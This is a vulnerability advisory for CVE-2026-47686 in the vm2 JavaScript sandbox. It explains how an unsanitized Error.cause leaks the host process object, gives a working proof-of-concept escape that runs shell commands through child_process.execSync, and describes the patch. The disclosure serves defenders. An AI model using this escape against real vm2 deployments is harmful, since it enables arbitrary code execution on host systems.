CVE-2026-47686: vm2 Missing Error.cause Sanitization Sandbox Escape to RCE
A missing sanitization step in vm2's exception handler lets sandboxed code read an unscrubbed host object out of a thrown error's .cause property, giving an attacker full shell access on the host.

The problem
vm2's handleException() function in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but never inspects the ES2022 Error.cause property. Any error type that is not one of those two falls through to a bare return e at line 958, with .cause untouched.
When an embedder-exposed host function throws new Error('msg', { cause: process }), the caught error inside the sandbox carries a live, unsanitized reference to the host process object. From there, reaching child_process.execSync is trivial. Error chaining with .cause is standard modern Node.js practice, so the prerequisite is common in real codebases.
Proof of concept
A working proof-of-concept for CVE-2026-47686 in vm2, with the exact payload below.
// Embedder setup
const { VM } = require('vm2');
const vm = new VM({
sandbox: {
hostFn: () => {
throw new Error('fail', { cause: process });
}
}
});
// Sandbox code (attacker-controlled)
const result = vm.run(`
try {
hostFn();
} catch (e) {
const proc = e.cause; // unsanitized host process reference
proc.mainModule.require('child_process').execSync('id').toString();
}
`);
console.log(result);
// uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),...The root cause is CWE-693 (Protection Mechanism Failure). handleException was extended to cover SuppressedError and AggregateError sub-errors, but the ES2022 .cause property was never added to that walk. It applies to every error type, yet the code only handles the two named constructors and returns everything else unsanitized.
The patch adds a 'cause' in e check at the top of handleException, before the prototype-chain walk, so .cause is recursively sanitized on all error types. docs/ATTACKS.md Defense Invariant #3, which falsely claimed .cause was already covered, is also corrected in the same release.
The fix
Upgrade vm2 to 3.11.6. The fix adds if ('cause' in e) { e.cause = handleException(e.cause, visited); } at the start of handleException, covering all error types before the SuppressedError / AggregateError branch. If you cannot upgrade immediately, audit every host-exposed function and ensure none throw errors with .cause set to a host object.
Reported by vladimir.tokarev.
Related research
- highCVE-2026-47683CVE-2026-47683: vm2 bufferAllocLimit DoS Bypass via Buffer.concat and Buffer.from
- critical · 9.8CVE-2026-47698CVE-2026-47698: vm2 Sandbox Breakout via Indirect Call Proto Mutation
- critical · 10vm2: NodeVM builtin wildcard exposes os and dns host-process read/write primitives
- high · 7.5vm2 Memory Exhaustion DoS via ArrayBuffer bufferAllocLimit Bypass